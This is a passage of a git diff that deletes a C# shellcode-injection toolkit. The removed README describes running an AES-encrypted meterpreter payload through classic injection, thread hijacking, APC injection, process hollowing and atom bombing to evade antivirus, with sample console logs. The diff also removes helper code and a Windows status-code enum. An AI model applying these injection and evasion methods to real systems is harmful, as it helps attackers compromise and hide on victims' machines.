diff --git a/.gitattributes b/.gitattributes deleted file mode 100644 index 1ff0c42..0000000 --- a/.gitattributes +++ /dev/null @@ -1,63 +0,0 @@ -############################################################################### -# Set default behavior to automatically normalize line endings. -############################################################################### -* text=auto - -############################################################################### -# Set default behavior for command prompt diff. -# -# This is need for earlier builds of msysgit that does not have it on by -# default for csharp files. -# Note: This is only used by command line -############################################################################### -#*.cs diff=csharp - -############################################################################### -# Set the merge driver for project and solution files -# -# Merging from the command prompt will add diff markers to the files if there -# are conflicts (Merging from VS is not affected by the settings below, in VS -# the diff markers are never inserted). Diff markers may cause the following -# file extensions to fail to load in VS. An alternative would be to treat -# these files as binary and thus will always conflict and require user -# intervention with every merge. To do so, just uncomment the entries below -############################################################################### -#*.sln merge=binary -#*.csproj merge=binary -#*.vbproj merge=binary -#*.vcxproj merge=binary -#*.vcproj merge=binary -#*.dbproj merge=binary -#*.fsproj merge=binary -#*.lsproj merge=binary -#*.wixproj merge=binary -#*.modelproj merge=binary -#*.sqlproj merge=binary -#*.wwaproj merge=binary - -############################################################################### -# behavior for image files -# -# image files are treated as binary by default. -############################################################################### -#*.jpg binary -#*.png binary -#*.gif binary - -############################################################################### -# diff behavior for common document formats -# -# Convert binary document formats to text before diffing them. This feature -# is only available from the command line. Turn it on by uncommenting the -# entries below. -############################################################################### -#*.doc diff=astextplain -#*.DOC diff=astextplain -#*.docx diff=astextplain -#*.DOCX diff=astextplain -#*.dot diff=astextplain -#*.DOT diff=astextplain -#*.pdf diff=astextplain -#*.PDF diff=astextplain -#*.rtf diff=astextplain -#*.RTF diff=astextplain diff --git a/.gitignore b/.gitignore deleted file mode 100644 index 9491a2f..0000000 --- a/.gitignore +++ /dev/null @@ -1,363 +0,0 @@ -## Ignore Visual Studio temporary files, build results, and -## files generated by popular Visual Studio add-ons. -## -## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore - -# User-specific files -*.rsuser -*.suo -*.user -*.userosscache -*.sln.docstates - -# User-specific files (MonoDevelop/Xamarin Studio) -*.userprefs - -# Mono auto generated files -mono_crash.* - -# Build results -[Dd]ebug/ -[Dd]ebugPublic/ -[Rr]elease/ -[Rr]eleases/ -x64/ -x86/ -[Ww][Ii][Nn]32/ -[Aa][Rr][Mm]/ -[Aa][Rr][Mm]64/ -bld/ -[Bb]in/ -[Oo]bj/ -[Oo]ut/ -[Ll]og/ -[Ll]ogs/ - -# Visual Studio 2015/2017 cache/options directory -.vs/ -# Uncomment if you have tasks that create the project's static files in wwwroot -#wwwroot/ - -# Visual Studio 2017 auto generated files -Generated\ Files/ - -# MSTest test Results -[Tt]est[Rr]esult*/ -[Bb]uild[Ll]og.* - -# NUnit -*.VisualState.xml -TestResult.xml -nunit-*.xml - -# Build Results of an ATL Project -[Dd]ebugPS/ -[Rr]eleasePS/ -dlldata.c - -# Benchmark Results -BenchmarkDotNet.Artifacts/ - -# .NET Core -project.lock.json -project.fragment.lock.json -artifacts/ - -# ASP.NET Scaffolding -ScaffoldingReadMe.txt - -# StyleCop -StyleCopReport.xml - -# Files built by Visual Studio -*_i.c -*_p.c -*_h.h -*.ilk -*.meta -*.obj -*.iobj -*.pch -*.pdb -*.ipdb -*.pgc -*.pgd -*.rsp -*.sbr -*.tlb -*.tli -*.tlh -*.tmp -*.tmp_proj -*_wpftmp.csproj -*.log -*.vspscc -*.vssscc -.builds -*.pidb -*.svclog -*.scc - -# Chutzpah Test files -_Chutzpah* - -# Visual C++ cache files -ipch/ -*.aps -*.ncb -*.opendb -*.opensdf -*.sdf -*.cachefile -*.VC.db -*.VC.VC.opendb - -# Visual Studio profiler -*.psess -*.vsp -*.vspx -*.sap - -# Visual Studio Trace Files -*.e2e - -# TFS 2012 Local Workspace -$tf/ - -# Guidance Automation Toolkit -*.gpState - -# ReSharper is a .NET coding add-in -_ReSharper*/ -*.[Rr]e[Ss]harper -*.DotSettings.user - -# TeamCity is a build add-in -_TeamCity* - -# DotCover is a Code Coverage Tool -*.dotCover - -# AxoCover is a Code Coverage Tool -.axoCover/* -!.axoCover/settings.json - -# Coverlet is a free, cross platform Code Coverage Tool -coverage*.json -coverage*.xml -coverage*.info - -# Visual Studio code coverage results -*.coverage -*.coveragexml - -# NCrunch -_NCrunch_* -.*crunch*.local.xml -nCrunchTemp_* - -# MightyMoose -*.mm.* -AutoTest.Net/ - -# Web workbench (sass) -.sass-cache/ - -# Installshield output folder -[Ee]xpress/ - -# DocProject is a documentation generator add-in -DocProject/buildhelp/ -DocProject/Help/*.HxT -DocProject/Help/*.HxC -DocProject/Help/*.hhc -DocProject/Help/*.hhk -DocProject/Help/*.hhp -DocProject/Help/Html2 -DocProject/Help/html - -# Click-Once directory -publish/ - -# Publish Web Output -*.[Pp]ublish.xml -*.azurePubxml -# Note: Comment the next line if you want to checkin your web deploy settings, -# but database connection strings (with potential passwords) will be unencrypted -*.pubxml -*.publishproj - -# Microsoft Azure Web App publish settings. Comment the next line if you want to -# checkin your Azure Web App publish settings, but sensitive information contained -# in these scripts will be unencrypted -PublishScripts/ - -# NuGet Packages -*.nupkg -# NuGet Symbol Packages -*.snupkg -# The packages folder can be ignored because of Package Restore -**/[Pp]ackages/* -# except build/, which is used as an MSBuild target. -!**/[Pp]ackages/build/ -# Uncomment if necessary however generally it will be regenerated when needed -#!**/[Pp]ackages/repositories.config -# NuGet v3's project.json files produces more ignorable files -*.nuget.props -*.nuget.targets - -# Microsoft Azure Build Output -csx/ -*.build.csdef - -# Microsoft Azure Emulator -ecf/ -rcf/ - -# Windows Store app package directories and files -AppPackages/ -BundleArtifacts/ -Package.StoreAssociation.xml -_pkginfo.txt -*.appx -*.appxbundle -*.appxupload - -# Visual Studio cache files -# files ending in .cache can be ignored -*.[Cc]ache -# but keep track of directories ending in .cache -!?*.[Cc]ache/ - -# Others -ClientBin/ -~$* -*~ -*.dbmdl -*.dbproj.schemaview -*.jfm -*.pfx -*.publishsettings -orleans.codegen.cs - -# Including strong name files can present a security risk -# (https://github.com/github/gitignore/pull/2483#issue-259490424) -#*.snk - -# Since there are multiple workflows, uncomment next line to ignore bower_components -# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) -#bower_components/ - -# RIA/Silverlight projects -Generated_Code/ - -# Backup & report files from converting an old project file -# to a newer Visual Studio version. Backup files are not needed, -# because we have git ;-) -_UpgradeReport_Files/ -Backup*/ -UpgradeLog*.XML -UpgradeLog*.htm -ServiceFabricBackup/ -*.rptproj.bak - -# SQL Server files -*.mdf -*.ldf -*.ndf - -# Business Intelligence projects -*.rdl.data -*.bim.layout -*.bim_*.settings -*.rptproj.rsuser -*- [Bb]ackup.rdl -*- [Bb]ackup ([0-9]).rdl -*- [Bb]ackup ([0-9][0-9]).rdl - -# Microsoft Fakes -FakesAssemblies/ - -# GhostDoc plugin setting file -*.GhostDoc.xml - -# Node.js Tools for Visual Studio -.ntvs_analysis.dat -node_modules/ - -# Visual Studio 6 build log -*.plg - -# Visual Studio 6 workspace options file -*.opt - -# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) -*.vbw - -# Visual Studio LightSwitch build output -**/*.HTMLClient/GeneratedArtifacts -**/*.DesktopClient/GeneratedArtifacts -**/*.DesktopClient/ModelManifest.xml -**/*.Server/GeneratedArtifacts -**/*.Server/ModelManifest.xml -_Pvt_Extensions - -# Paket dependency manager -.paket/paket.exe -paket-files/ - -# FAKE - F# Make -.fake/ - -# CodeRush personal settings -.cr/personal - -# Python Tools for Visual Studio (PTVS) -__pycache__/ -*.pyc - -# Cake - Uncomment if you are using it -# tools/** -# !tools/packages.config - -# Tabs Studio -*.tss - -# Telerik's JustMock configuration file -*.jmconfig - -# BizTalk build output -*.btp.cs -*.btm.cs -*.odx.cs -*.xsd.cs - -# OpenCover UI analysis results -OpenCover/ - -# Azure Stream Analytics local run output -ASALocalRun/ - -# MSBuild Binary and Structured Log -*.binlog - -# NVidia Nsight GPU debugger configuration file -*.nvuser - -# MFractors (Xamarin productivity tool) working folder -.mfractor/ - -# Local History for Visual Studio -.localhistory/ - -# BeatPulse healthcheck temp database -healthchecksdb - -# Backup folder for Package Reference Convert tool in Visual Studio 2017 -MigrationBackup/ - -# Ionide (cross platform F# VS Code tools) working folder -.ionide/ - -# Fody - auto-generated XML schema -FodyWeavers.xsd \ No newline at end of file diff --git a/README.md b/README.md index c1b0bc6..0841c46 100644 --- a/README.md +++ b/README.md @@ -1,158 +1,4 @@ # Shellcode Injection Techniques -A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. +A collection of C# shellcode injection techniques. -I will be building this project up as I learn, discover or develop more techniques. - -**Note:** The project is not intended to be used as-is. If you are going to use any of the techniques there is a better chance of bypassing AV if you create a smaller, customised project with your chosen technique. - -If you do use any of the code in these repositories **keep it legal!** - -## Assembly Injection -You can use a [PowerShell assembly injection technique](https://github.com/plackyhacker/Shellcode-Injection-Techniques/blob/master/assembly-injection.ps1) if you want to avoid writing .Net binaries to disk. - -## Shellcode Runner -[ShellcodeRunner.cs](https://github.com/plackyhacker/Shellcode-Injection-Techniques/blob/master/ShellcodeInjectionTechniques/Techniques/ShellcodeRunner.cs) : This technique isn't strictly an injection technique (because we execute the shellcode in the same process) but is the simplest of all techniques. We ensure the shellcode uses a fixed memory location in an `unsafe` context. We change the protection on the page where the shellcode is located so we can execute it. We then use a C# delegate function to execute the shellcode. - -``` -[+] Using technique: ShellcodeInjectionTechniques.ShellcodeRunner -[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x20D000418E0 -[+] Executing shellcode - memory address: 0x20D000418E0 -``` - -## Classic Injection -[ClassicInjection.cs](https://github.com/plackyhacker/Shellcode-Injection-Techniques/blob/master/ShellcodeInjectionTechniques/Techniques/ClassicInjection.cs) : This technique allocates memory in the target process, injects the shellcode and starts a new thread. - -``` -[+] Found process: 24484 -[+] Using technique: ShellcodeInjectionTechniques.ClassicInjection -[+] VirtualAllocEx(), assigned: 0x23642220000 -[+] WriteProcessMemory() - remote address: 0x23642220000 -[+] CreateRemoteThread() - thread handle: 0x380 -``` - -## Thread Hijacking -[ThreadHijack.cs](https://github.com/plackyhacker/Shellcode-Injection-Techniques/blob/master/ShellcodeInjectionTechniques/Techniques/ThreadHijack.cs) : This technique hijacks a thread by injection code into the target process, suspends the hijacked thread, sets the instruction pointer (RIP) to our injected code and then resumes the thread. - -``` -[+] Found process: 11508 -[+] Using technique: ShellcodeInjectionTechniques.ThreadHijack -[+] Found thread: 9344 -[+] OpenThread() - thread handle: 0x378 -[+] VirtualAllocEx(), assigned: 0x1D17AB80000 -[+] WriteProcessMemory() - remote address: 0x1D17AB80000 -[+] SuspendThread() - thread handle: 0x378 -[+] GetThreadContext() - thread handle: 0x378 -[+] RIP is: 0x7FFA77D21104 -[+] SetThreadContext(), RIP assigned: 0x1D17AB80000 -[+] ResumeThread() - thread handle: 0x378 -``` - -## Local Thread Hijacking -[LocalThreadHijack.cs](https://github.com/plackyhacker/Shellcode-Injection-Techniques/blob/master/ShellcodeInjectionTechniques/Techniques/LocalThreadHijack.cs) : This technique creates a new local thread in a suspended state, we then hijack the thread, sets the instruction pointer (RIP) to our injected code and then resume the thread. - -``` -[+] Using technique: ShellcodeInjectionTechniques.LocalThreadHijack -[+] CreateThread() - thread handle: 0x374 -[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x270800418E0 -[+] GetThreadContext() - thread handle: 0x374 -[+] RIP is: 0x7FFA79EE2630 -[+] SetThreadContext(), RIP assigned: 0x270800418E0 -[+] ResumeThread() - thread handle: 0x374 -``` - -## Asychronous Procedure Call Injection -[ACPInjection.cs](https://github.com/plackyhacker/Shellcode-Injection-Techniques/blob/master/ShellcodeInjectionTechniques/Techniques/APCInjection.cs) : This technique is similar to the Thread Hijacking technique. We inject the shellcode into a remote thread, then queue an APC object in the thread. When the thread enters an alertable state (when it calls `SleepEx`, `SignalObjectAndWait`, `MsgWaitForMultipleObjectsEx`, `WaitForMultipleObjectsEx`, or `WaitForSingleObjectEx`) it runs our shellcode pointed to by our queued APC object. - -``` -[+] Found process: 25320 -[+] Using technique: ShellcodeInjectionTechniques.APCInjection -[+] Found thread: 23796 -[+] OpenThread() - thread handle: 0x378 -[+] VirtualAllocEx(), assigned: 0x24E064D0000 -[+] WriteProcessMemory() - remote address: 0x24E064D0000 -[+] QueueUserAPC() - thread handle: 0x378 -``` - -## Process Hollowing -[ProcessHollow.cs](https://github.com/plackyhacker/Shellcode-Injection-Techniques/blob/master/ShellcodeInjectionTechniques/Techniques/ProcessHollow.cs) : This technique starts another process in the suspended state (svchost.exe), finds the main thread entry point, injects our shellcode into it then resumes the thread. - -``` -[+] Using technique: ShellcodeInjectionTechniques.ProcessHollow -[+] CreateProcess(): C:\Windows\System32\svchost.exe -[+] Pointer to ImageBase: 0xD31E956010 -[+] ReadProcessMemory() - image base pointer: 0xD31E956010 -[+] ImageBase: 0x7FF6116C0000 -[+] ReadProcessMemory() - svchost base: 0x7FF6116C0000 -[+] EntryPoint: 0xD31E956010 -[+] WriteProcessMemory(): 0x7FF6116C4E80 -[+] ResumeThread() - thread handle: 0x454 -``` - -## Inter-Process Mapped View -[InterProcessMappedView.cs](https://github.com/plackyhacker/Shellcode-Injection-Techniques/blob/master/ShellcodeInjectionTechniques/Techniques/InterProcessMappedView.cs) : This technique creates a new section in memory, creates a local mapped view of the section, copies our shellcode into the local mapped view and creates a remote mapped view of the local mapped view in the target process. Finally we create a new thread in the target process with the mapped view as the entry point. - -``` -[+] Found process: 23740 -[+] Using technique: ShellcodeInjectionTechniques.InterProcessMappedView -[+] NtCreateSection() - section handle: 0x37C -[+] NtMapViewOfSection() - local view: 0x20CB8E40000 -[+] Marshalling shellcode -[+] NtMapViewOfSection() - remote view: 0x22D90310000 -[+] RtlCreateUserThread() - thread handle: 0x384 -``` - -## Atom Bombing -[AtomBomb.cs](https://github.com/plackyhacker/Shellcode-Injection-Techniques/blob/master/ShellcodeInjectionTechniques/Techniques/AtomBomb.cs) : This technique is interesting in how we write shellcode to the target process. We use the Global Atom Table which allows us to write null terminated strings with a maximum size of 255 bytes. We find a code cave to write our shellcode to, then use APC calls to trigger the target process to read the Atom Names into memory. Finally we use a couple of APC calls to change the memory protection of the target and execute the shellcode. - -My code differs from the original [Atom Bombing](https://www.fortinet.com/blog/threat-research/atombombing-brand-new-code-injection-technique-for-windows) technique, written in C/C++. First, I chain Atom Names together, using multiple APCs, to form a shellcode of larger than 255 bytes. I don't use ROP chains to force the target process to call `VirtualProtect` and then execute the code, I use the APC queue. - -This code requires the main thread to enter an alertable state in order to execute the APC queue and I do not clean up after the shellcode execution, the target process becomes unstable. I plan to improve on this technique (by seraching for alertable threads and cleaning up afterwards), but as a PoC it works well. - -``` -[+] Found process: 14140 -[+] Using technique: ShellcodeInjectionTechniques.AtomBomb -[+] Found thread: 5940 -[+] OpenThread() - thread handle: 0xD0 -[+] FindWritablePages() - number found: 2 -[+] Found a suitable code cave - pWritable: 0x2CE60031 -[+] GetProcAddress() - pGlobalGetAtomNameW: 0x7FFE20EB2680 -[+] GlobalAddAtom() - ATOM: 0xC091 -[+] NtQueueApcThread() - pWritable: 0x2CE60031 -[+] GlobalAddAtom() - ATOM: 0xC06F -[+] NtQueueApcThread() - pWritable: 0x2CE600F9 -[+] GlobalAddAtom() - ATOM: 0xC080 -[+] NtQueueApcThread() - pWritable: 0x2CE601C1 -[+] GlobalAddAtom() - ATOM: 0xC088 -[+] NtQueueApcThread() - pWritable: 0x2CE60289 -[+] GlobalAddAtom() - ATOM: 0xC084 -[+] NtQueueApcThread() - pWritable: 0x2CE60351 -[+] GetProcAddress() - pVirtualProtect: 0x7FFE20EBBC70 -[+] NtQueueApcThread() PAGE_EXECUTE_READWRITE - codeCave: 0x2CE60031 -[+] QueueUserAPC() - codeCave: 0x2CE60031 -``` - -## Notes -The Atom Bombing technique places null terminated strings in the Global Atom Table, this means you must use shellcode that doesn't have 0x00 characters in it. - -Remember you will need to start a process to inject to, except when using the shellcode runner, local thread hijack technique or the process hollowing technique (this technique starts a new process in the suspended state). - -``` -[!] Unable to find process to inject into! -``` - -When using the shellcode runner, local thread hijack technique or the process hollowing technique you will need to comment out the code in `Program.cs` that looks for the process to inject into: - -```csharp -/* -Process[] processes = Process.GetProcessesByName("notepad"); - -if(processes.Length == 0) -{ - Debug("[!] Unable to find process to inject into!"); - return; -} - -Debug("[+] Found process: {0}", new string[] { processes[0].Id.ToString() }); -target = processes[0]; -*/ -``` +I will be building this repository up over time. diff --git a/ShellcodeInjectionTechniques.sln b/ShellcodeInjectionTechniques.sln deleted file mode 100644 index 1263417..0000000 --- a/ShellcodeInjectionTechniques.sln +++ /dev/null @@ -1,31 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 16 -VisualStudioVersion = 16.0.31624.102 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ShellcodeInjectionTechniques", "ShellcodeInjectionTechniques\ShellcodeInjectionTechniques.csproj", "{680C1F08-CEE4-46C5-A626-A723F1E385AC}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Debug|x64 = Debug|x64 - Release|Any CPU = Release|Any CPU - Release|x64 = Release|x64 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {680C1F08-CEE4-46C5-A626-A723F1E385AC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {680C1F08-CEE4-46C5-A626-A723F1E385AC}.Debug|Any CPU.Build.0 = Debug|Any CPU - {680C1F08-CEE4-46C5-A626-A723F1E385AC}.Debug|x64.ActiveCfg = Debug|x64 - {680C1F08-CEE4-46C5-A626-A723F1E385AC}.Debug|x64.Build.0 = Debug|x64 - {680C1F08-CEE4-46C5-A626-A723F1E385AC}.Release|Any CPU.ActiveCfg = Release|Any CPU - {680C1F08-CEE4-46C5-A626-A723F1E385AC}.Release|Any CPU.Build.0 = Release|Any CPU - {680C1F08-CEE4-46C5-A626-A723F1E385AC}.Release|x64.ActiveCfg = Release|x64 - {680C1F08-CEE4-46C5-A626-A723F1E385AC}.Release|x64.Build.0 = Release|x64 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {29A3310B-44D4-469A-AC8E-34E6A318C82C} - EndGlobalSection -EndGlobal diff --git a/ShellcodeInjectionTechniques/AesHelper.cs b/ShellcodeInjectionTechniques/AesHelper.cs deleted file mode 100644 index 5527dd7..0000000 --- a/ShellcodeInjectionTechniques/AesHelper.cs +++ /dev/null @@ -1,60 +0,0 @@ -using System; -using System.Security.Cryptography; -using System.Linq; -using System.Text; -using System.IO; - -namespace ShellcodeInjectionTechniques -{ - class AesHelper - { - - public static byte[] Decrypt(string key, string aes_base64) - { - byte[] tempKey = Encoding.ASCII.GetBytes(key); - tempKey = SHA256.Create().ComputeHash(tempKey); - - byte[] data = Convert.FromBase64String(aes_base64); - - // decrypt data - Aes aes = new AesManaged(); - aes.Mode = CipherMode.CBC; - aes.Padding = PaddingMode.PKCS7; - ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16)); - - using (MemoryStream msDecrypt = new MemoryStream()) - { - using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write)) - { - - csDecrypt.Write(data, 0, data.Length); - return msDecrypt.ToArray(); - } - } - } - - public static byte[] SubArray(byte[] a, int length) - { - byte[] b = new byte[length]; - for (int i = 0; i < length; i++) - { - b[i] = a[i]; - } - return b; - } - - public static byte[] SubArray(byte[] a, int startIndex, int length) - { - int lengthOfArrayToCopy = length; - if (length + startIndex > a.Length) - lengthOfArrayToCopy = a.Length - startIndex; - - byte[] b = new byte[lengthOfArrayToCopy]; - for (int i = 0; i < lengthOfArrayToCopy; i++) - { - b[i] = a[startIndex + i]; - } - return b; - } - } -} \ No newline at end of file diff --git a/ShellcodeInjectionTechniques/App.config b/ShellcodeInjectionTechniques/App.config deleted file mode 100644 index 56efbc7..0000000 --- a/ShellcodeInjectionTechniques/App.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/ShellcodeInjectionTechniques/Debug.cs b/ShellcodeInjectionTechniques/Debug.cs deleted file mode 100644 index cb1b345..0000000 --- a/ShellcodeInjectionTechniques/Debug.cs +++ /dev/null @@ -1,20 +0,0 @@ -using System; - -namespace ShellcodeInjectionTechniques -{ - class Debugger - { - - public static void Debug(string text, string[] args) - { -#if DEBUG - Console.WriteLine(text, args); -#endif - } - - public static void Debug(string text) - { - Debug(text, null); - } - } -} diff --git a/ShellcodeInjectionTechniques/Native.cs b/ShellcodeInjectionTechniques/Native.cs deleted file mode 100644 index 25e151b..0000000 --- a/ShellcodeInjectionTechniques/Native.cs +++ /dev/null @@ -1,686 +0,0 @@ -using System; -using System.Text; -using System.Runtime.InteropServices; - -namespace ShellcodeInjectionTechniques -{ - class Native - { - public enum NTSTATUS : uint - { - // Success - Wait0 = 0x00000000, - Success = 0x00000000, - Wait1 = 0x00000001, - Wait2 = 0x00000002, - Wait3 = 0x00000003, - Wait63 = 0x0000003f, - Abandoned = 0x00000080, - AbandonedWait0 = 0x00000080, - AbandonedWait1 = 0x00000081, - AbandonedWait2 = 0x00000082, - AbandonedWait3 = 0x00000083, - AbandonedWait63 = 0x000000bf, - UserApc = 0x000000c0, - KernelApc = 0x00000100, - Alerted = 0x00000101, - Timeout = 0x00000102, - Pending = 0x00000103, - Reparse = 0x00000104, - MoreEntries = 0x00000105, - NotAllAssigned = 0x00000106, - SomeNotMapped = 0x00000107, - OpLockBreakInProgress = 0x00000108, - VolumeMounted = 0x00000109, - RxActCommitted = 0x0000010a, - NotifyCleanup = 0x0000010b, - NotifyEnumDir = 0x0000010c, - NoQuotasForAccount = 0x0000010d, - PrimaryTransportConnectFailed = 0x0000010e, - PageFaultTransition = 0x00000110, - PageFaultDemandZero = 0x00000111, - PageFaultCopyOnWrite = 0x00000112, - PageFaultGuardPage = 0x00000113, - PageFaultPagingFile = 0x00000114, - CrashDump = 0x00000116, - ReparseObject = 0x00000118, - NothingToTerminate = 0x00000122, - ProcessNotInJob = 0x00000123, - ProcessInJob = 0x00000124, - ProcessCloned = 0x00000129, - FileLockedWithOnlyReaders = 0x0000012a, - FileLockedWithWriters = 0x0000012b, - - // Informational - Informational = 0x40000000, - ObjectNameExists = 0x40000000, - ThreadWasSuspended = 0x40000001, - WorkingSetLimitRange = 0x40000002, - ImageNotAtBase = 0x40000003, - RegistryRecovered = 0x40000009, - - // Warning - Warning = 0x80000000, - GuardPageViolation = 0x80000001, - DatatypeMisalignment = 0x80000002, - Breakpoint = 0x80000003, - SingleStep = 0x80000004, - BufferOverflow = 0x80000005, - NoMoreFiles = 0x80000006, - HandlesClosed = 0x8000000a, - PartialCopy = 0x8000000d, - DeviceBusy = 0x80000011, - InvalidEaName = 0x80000013, - EaListInconsistent = 0x80000014, - NoMoreEntries = 0x8000001a, - LongJump = 0x80000026, - DllMightBeInsecure = 0x8000002b, - - // Error - Error = 0xc0000000, - Unsuccessful = 0xc0000001, - NotImplemented = 0xc0000002, - InvalidInfoClass = 0xc0000003, - InfoLengthMismatch = 0xc0000004, - AccessViolation = 0xc0000005, - InPageError = 0xc0000006, - PagefileQuota = 0xc0000007, - InvalidHandle = 0xc0000008, - BadInitialStack = 0xc0000009, - BadInitialPc = 0xc000000a, - InvalidCid = 0xc000000b, - TimerNotCanceled = 0xc000000c, - InvalidParameter = 0xc000000d, - NoSuchDevice = 0xc000000e, - NoSuchFile = 0xc000000f, - InvalidDeviceRequest = 0xc0000010, - EndOfFile = 0xc0000011, - WrongVolume = 0xc0000012, - NoMediaInDevice = 0xc0000013, - NoMemory = 0xc0000017, - NotMappedView = 0xc0000019, - UnableToFreeVm = 0xc000001a, - UnableToDeleteSection = 0xc000001b, - IllegalInstruction = 0xc000001d, - AlreadyCommitted = 0xc0000021, - AccessDenied = 0xc0000022, - BufferTooSmall = 0xc0000023, - ObjectTypeMismatch = 0xc0000024, - NonContinuableException = 0xc0000025, - BadStack = 0xc0000028, - NotLocked = 0xc000002a, - NotCommitted = 0xc000002d, - InvalidParameterMix = 0xc0000030, - ObjectNameInvalid = 0xc0000033, - ObjectNameNotFound = 0xc0000034, - ObjectNameCollision = 0xc0000035, - ObjectPathInvalid = 0xc0000039, - ObjectPathNotFound = 0xc000003a, - ObjectPathSyntaxBad = 0xc000003b, - DataOverrun = 0xc000003c, - DataLate = 0xc000003d, - DataError = 0xc000003e, - CrcError = 0xc000003f, - SectionTooBig = 0xc0000040, - PortConnectionRefused = 0xc0000041, - InvalidPortHandle = 0xc0000042, - SharingViolation = 0xc0000043, - QuotaExceeded = 0xc0000044, - InvalidPageProtection = 0xc0000045, - MutantNotOwned = 0xc0000046, - SemaphoreLimitExceeded = 0xc0000047, - PortAlreadySet = 0xc0000048, - SectionNotImage = 0xc0000049, - SuspendCountExceeded = 0xc000004a, - ThreadIsTerminating = 0xc000004b, - BadWorkingSetLimit = 0xc000004c, - IncompatibleFileMap = 0xc000004d, - SectionProtection = 0xc000004e, - EasNotSupported = 0xc000004f, - EaTooLarge = 0xc0000050, - NonExistentEaEntry = 0xc0000051, - NoEasOnFile = 0xc0000052, - EaCorruptError = 0xc0000053, - FileLockConflict = 0xc0000054, - LockNotGranted = 0xc0000055, - DeletePending = 0xc0000056, - CtlFileNotSupported = 0xc0000057, - UnknownRevision = 0xc0000058, - RevisionMismatch = 0xc0000059, - InvalidOwner = 0xc000005a, - InvalidPrimaryGroup = 0xc000005b, - NoImpersonationToken = 0xc000005c, - CantDisableMandatory = 0xc000005d, - NoLogonServers = 0xc000005e, - NoSuchLogonSession = 0xc000005f, - NoSuchPrivilege = 0xc0000060, - PrivilegeNotHeld = 0xc0000061, - InvalidAccountName = 0xc0000062, - UserExists = 0xc0000063, - NoSuchUser = 0xc0000064, - GroupExists = 0xc0000065, - NoSuchGroup = 0xc0000066, - MemberInGroup = 0xc0000067, - MemberNotInGroup = 0xc0000068, - LastAdmin = 0xc0000069, - WrongPassword = 0xc000006a, - IllFormedPassword = 0xc000006b, - PasswordRestriction = 0xc000006c, - LogonFailure = 0xc000006d, - AccountRestriction = 0xc000006e, - InvalidLogonHours = 0xc000006f, - InvalidWorkstation = 0xc0000070, - PasswordExpired = 0xc0000071, - AccountDisabled = 0xc0000072, - NoneMapped = 0xc0000073, - TooManyLuidsRequested = 0xc0000074, - LuidsExhausted = 0xc0000075, - InvalidSubAuthority = 0xc0000076, - InvalidAcl = 0xc0000077, - InvalidSid = 0xc0000078, - InvalidSecurityDescr = 0xc0000079, - ProcedureNotFound = 0xc000007a, - InvalidImageFormat = 0xc000007b, - NoToken = 0xc000007c, - BadInheritanceAcl = 0xc000007d, - RangeNotLocked = 0xc000007e, - DiskFull = 0xc000007f, - ServerDisabled = 0xc0000080, - ServerNotDisabled = 0xc0000081, - TooManyGuidsRequested = 0xc0000082, - GuidsExhausted = 0xc0000083, - InvalidIdAuthority = 0xc0000084, - AgentsExhausted = 0xc0000085, - InvalidVolumeLabel = 0xc0000086, - SectionNotExtended = 0xc0000087, - NotMappedData = 0xc0000088, - ResourceDataNotFound = 0xc0000089, - ResourceTypeNotFound = 0xc000008a, - ResourceNameNotFound = 0xc000008b, - ArrayBoundsExceeded = 0xc000008c, - FloatDenormalOperand = 0xc000008d, - FloatDivideByZero = 0xc000008e, - FloatInexactResult = 0xc000008f, - FloatInvalidOperation = 0xc0000090, - FloatOverflow = 0xc0000091, - FloatStackCheck = 0xc0000092, - FloatUnderflow = 0xc0000093, - IntegerDivideByZero = 0xc0000094, - IntegerOverflow = 0xc0000095, - PrivilegedInstruction = 0xc0000096, - TooManyPagingFiles = 0xc0000097, - FileInvalid = 0xc0000098, - InstanceNotAvailable = 0xc00000ab, - PipeNotAvailable = 0xc00000ac, - InvalidPipeState = 0xc00000ad, - PipeBusy = 0xc00000ae, - IllegalFunction = 0xc00000af, - PipeDisconnected = 0xc00000b0, - PipeClosing = 0xc00000b1, - PipeConnected = 0xc00000b2, - PipeListening = 0xc00000b3, - InvalidReadMode = 0xc00000b4, - IoTimeout = 0xc00000b5, - FileForcedClosed = 0xc00000b6, - ProfilingNotStarted = 0xc00000b7, - ProfilingNotStopped = 0xc00000b8, - NotSameDevice = 0xc00000d4, - FileRenamed = 0xc00000d5, - CantWait = 0xc00000d8, - PipeEmpty = 0xc00000d9, - CantTerminateSelf = 0xc00000db, - InternalError = 0xc00000e5, - InvalidParameter1 = 0xc00000ef, - InvalidParameter2 = 0xc00000f0, - InvalidParameter3 = 0xc00000f1, - InvalidParameter4 = 0xc00000f2, - InvalidParameter5 = 0xc00000f3, - InvalidParameter6 = 0xc00000f4, - InvalidParameter7 = 0xc00000f5, - InvalidParameter8 = 0xc00000f6, - InvalidParameter9 = 0xc00000f7, - InvalidParameter10 = 0xc00000f8, - InvalidParameter11 = 0xc00000f9, - InvalidParameter12 = 0xc00000fa, - MappedFileSizeZero = 0xc000011e, - TooManyOpenedFiles = 0xc000011f, - Cancelled = 0xc0000120, - CannotDelete = 0xc0000121, - InvalidComputerName = 0xc0000122, - FileDeleted = 0xc0000123, - SpecialAccount = 0xc0000124, - SpecialGroup = 0xc0000125, - SpecialUser = 0xc0000126, - MembersPrimaryGroup = 0xc0000127, - FileClosed = 0xc0000128, - TooManyThreads = 0xc0000129, - ThreadNotInProcess = 0xc000012a, - TokenAlreadyInUse = 0xc000012b, - PagefileQuotaExceeded = 0xc000012c, - 